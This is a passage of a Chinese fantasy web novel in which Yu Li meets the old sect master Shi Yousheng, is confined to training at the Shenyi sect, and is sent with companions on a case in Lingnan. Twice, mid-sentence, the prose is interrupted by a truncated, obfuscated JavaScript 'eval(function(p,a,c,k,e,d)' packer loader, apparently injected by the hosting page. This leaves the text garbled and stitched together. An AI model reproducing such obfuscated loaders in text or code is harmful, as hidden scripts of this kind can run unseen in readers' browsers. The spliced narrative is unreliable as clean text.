壁灯将尤黎的影子拉得很长,投在朝元图上,宛如和图上的老祖宗一般位列仙班。 但尤黎知道,这永远都不会实现。 见尤黎看得出神,柳白手也没打扰她,去面对着朝元图的墙壁上这按按那扭扭,嘴里还奇了奇了地叫。 “你在干什么?”尤黎都不知道今天一会功夫问了柳白手多少遍干什么为什么,毕竟柳白手的每一次行动总是让她摸不着头脑。 “找东西啊。”柳白手柳白手头也不回,手指在石砖缝隙间摸索,动作不停,“当时藏的时候藏太好了,现在有点难找。” 尤黎扶额,身体微侧,后背随意地倚靠在一块不起眼的青灰色石砖上。 下一秒,墙壁正中央,一块与其他石砖毫无二致的青砖,竟无声无息地向内缩了进去,露出一个方方正正的暗格,把两手撑在石砖上的柳白手一个趔趄,差点以头抢地。 看见东西后,尤黎眼神微凝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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并非他主动停下,而是一股沉静温和,却又浩瀚如渊海般的气息无声无息地弥漫开来,笼罩了古槐树下的方寸之地,让所有声音都自觉噤声。 她睁眼一看,一个和师无渡长相一模一样的老者坐在古槐前的石凳上,脸上是淡淡的笑意,浑身散发的气压与师无渡完全不同。师无渡如古剑藏锋,凌厉内蕴;而眼前这位,脸上带着和煦如春风的笑意,眼神温润平和,周身散发着一种包容万物的宁静气场。他仅仅是坐在那里,便仿佛与这古树、这庭院、这天地融为一体。 老者目光温和地落在尤黎身上,嘴角噙着那抹永恒不变的笑意。 “这就是老天师。”柳白手背在后面的手戳了下尤黎,嘴巴没动,以意念传音。 老者似乎听到了这句传音,又或者只是看穿了柳白手的小动作。爽朗一笑:“不错,我就是老天师,也是神一门的掌门人,师有生。” 柳白手咬牙切齿:“你又偷听!” 师有生对徒弟的控诉不置可否,回以微笑,目光始终温和地锁定在尤黎身上,那目光仿佛穿透了时光。他缓缓开口,声音带着一丝悠远的追忆: “尤黎,还记得我吗?” 18. 神一 尤黎小时候,在神一门待过四五年。 赵京穹收养她的那年,就说要带她离开这龙潭虎穴般的玄门重地,可最终不知何故,计划搁浅。于是,小小的尤黎便在神一门错综复杂的院落和无处不在的符咒气息中,扎下了根。 那年尤黎三岁。 赵京穹只是个普通天师,还比较忙碌,而师有生,彼时便已是威震玄门的老天师,神一门的掌舵人。在尤黎斑驳的童年记忆里,这位位高权重的老者却时常会俯下身来逗弄她。那些令寻常弟子垂涎三尺的秘术口诀,流光溢彩的法宝灵器,甚至记载着禁忌知识的古老奇籍,他竟也毫不避讳地在她眼前把玩、讲解,仿佛她不是个懵懂幼童,而是一个值得交流的同道。 但是赵京穹和老天师关系不好,也不愿意尤黎搭理老天师,后来离开神一门,也是因为和老天师发生了一场激烈的矛盾。尤黎至今记得那晚的肃杀与压抑,整个神一门的空气都凝滞如铁。 师有生说什么也不肯放他们离开神一门,师无渡从中劝和也没用,后来不知道赵京穹和师有生谈了些什么,只记得那一晚上他都没来给自己盖被子。 天亮后,赵京穹便带着她,头也不回地离开了神一门,离开了繁华的临安市,一头扎进了偏远闭塞、灵气稀薄的永福县。一别经年,竟已是十数载光阴流转。 尤黎只是微微颔首,算是默认了这份旧识。她的沉默里带着疏离,也藏着对这过往的审视。没有直接回答师有生的问题,对于两个聪明人来说,不确认对方记得就不会问出这个问题,更多的是带着寒暄的意味。 师有生也不恼,态度和蔼:“别急着走,在神一门修习些时候吧。” 尤黎不卑不亢:“如果我说不呢?” “小丫头,你而今不过初入三重境,傀丝,修罗刀,慈悲眼,都是消耗极大的东西,你使用起来不加节制,如幼童舞巨斧,伤敌八百,自损一千。难成长久之气。”师有生慢慢站起来,他身量很高,须发皆白却不见丝毫佝,他并未刻意释放威压,但那属于四重朝天境强者的存在感,如同深海般沉静而浩瀚,无声地笼罩着庭院,连古槐的枝叶都停止了摇曳,“我没有允许前,你走不出神一。” 他右掌看似随意在空中虚虚一拍。 “哎哟!” 一声痛呼传来。 只见庭院角落空气一阵扭曲,身形已然半虚化,准备溜之大吉的柳白手,竟被一股无形的沛然巨力硬生生从遁术中拍了出来。 师有生说:“你也一样。” “老老实实去后院每日修习去。” 丢下这句话,他宽大的袍袖微拂,便如闲庭信步般,慢悠悠地消失在回廊深处,留下庭院中一片令人窒息的寂静。 尤黎默默目送那背影消失,脸上看不出喜怒。她甚至没有一句多余的抱怨,转身便朝着后院方向走去,步履平稳得如同接受了既定的命运。 刚迈出一步,衣角便被一只爪子死死拽住。 柳白手柳白手龇牙咧嘴地从地上爬起来,揉着摔疼的地方,一脸不可思议地瞪着尤黎。 他皱着一张脸,试图煽风点火:“不是?他说什么你就干什么啊?反抗啊!你会那么多奇诡异术,怕他干啥?” 尤黎满脸“你脑子没毛病吧”的表情:“打不过。” “我也打不过啊!”柳白手跳脚,“可打不过归打不过,态度要有吧?像我,至少我尝试反抗了。你的骨气呢?你的骄傲呢?就这么认栽了?” “那是你蠢。”尤黎像是听到了什么天大的笑话,接着道,“再说骨气算什么?能吃还是能换钱?” 柳白手柳白手被她这理直气壮的反问噎得一愣,随即夸张地拍起手来,脸上是混合着荒谬和钦佩的表情:“我被你折服了。” “你为什么要跑?”尤黎自己跑不了,也不会让柳白手跑,拽着人衣领,不由分说地拽着他往后院方向走。 “你知不知道,在神一门是要定期出任务的?”柳白手躺平了任她拖,一点力气也懒得使,“除鬼降妖,跟那些凶神恶煞的东西拼命,很危险的啊,他现在这么催着我们去修习,下次保管是要我们出去接任务。” “接任务赚钱吗?”尤黎只关心这个,如果很赚的话也不是不...... 然而,柳白手的话打破她的幻想:“一分不赚。” 尤黎丢过去一个不解的眼神。 “老天师原话是说,要创造一个和平没有鬼怪的世界。”柳白手说完,自己都无语笑了。 他翻了个巨大的白眼,语气充满了嘲讽,“有生就有死,有死就化鬼,有怨就成妖,天道循环,生生不息,这玩意儿怎么可能完全终结?简直就是痴人说梦。” 尤黎点评:“热血老头。” 柳白手乐了:“说的到位。” “不赚钱还危险,留在神一门的也都挺有追求。”尤黎拖着他继续走,若有所思。 柳白手被拖得踉踉跄跄,目光幽幽地扫过那些远远避开他们,各自摸鱼的弟子们,压低声音,带着一种过来人的沧桑目光幽幽:“这里有一个算一个,其实都准备过逃跑,但是一个也没成功过,武力镇压,懂吗?” 尤黎:...... 说话间,两人一脚踏入了所谓的“后院”,这里更像一个被巨大结界笼罩、灵气狂暴的演武场。场地开阔,地面坑坑洼洼,空气中还残留着各种法术轰击后的焦糊味和灵力乱流。 两人一脚踏入后院,一块磨盘大小,裹挟着土黄色厚重灵光的巨石,如同被无形巨手投掷,带着沉闷的破空声,直直朝着两人砸来。 尤黎反应极快,腰身一拧,滑开数尺躲开,柳白手还沉浸在抱怨里,没反应过来,等他察觉风声不对,只来得及“卧槽”一声,那巨石已近在咫尺,被砸了个正着。 柳白手整个人被砸得倒飞出去,大字型瘫在地上,气息奄奄,一动不动。 “师弟!师弟!”季如来慌忙跑来把人扶起,眼神愧疚,“对不起啊,师弟。我...我明明瞄准的是那边那个假人靶子啊!”他指向远处一个早已被轰得七零八落的石人。 宁刹身上还有根金丝,但不妨碍行动了,她踩着高跟鞋,扭着步子过来幸灾乐祸:“哎呀,柳师兄,怎么这么不小心哇? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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另外三个人早就习惯了,甚至还分出心安慰尤黎,忍忍就过去了,出任务就能找机会跑了,说不定老天师哪天就出事了呢,说不定师无渡哪天就篡位了呢。 几个人越说越扯,都不是畅想未来,完全的纯粹的编造未来。 可恨的是,尤黎自己也加入了这个编造未来的队伍。 要不说读书学习最能激发革命友情呢。 连之前见面就针锋相对的宁刹,也和尤黎关系亲近了很多。 在尤黎几人一度准备以死相拼也要出去的时候,师有生把她和柳白手叫了出去。 “去岭南,有件乩童作乱的案子,具体的信息,到了那边,会有鬼婆接待你们,好好去查查。” 尤黎说:“查到了怎么办?” “杀。”师有生表情不变,话语里的肃杀之意沉寂而坚定。 “宁刹和季如来呢?”柳白手不甘心追问,摆明了死也要拖上个垫背的。 被点到的两人坐在修习室里头疯狂摆头,先前什么要是能出去即使是出任务也行的豪言壮志,现在通通不认了。 师有生嘴角弧度不变:“他们出过任务,这次任务不强制要求参加。” 尤黎没说话,半夜打晕两人装进麻袋,四个人就这么往岭南去了。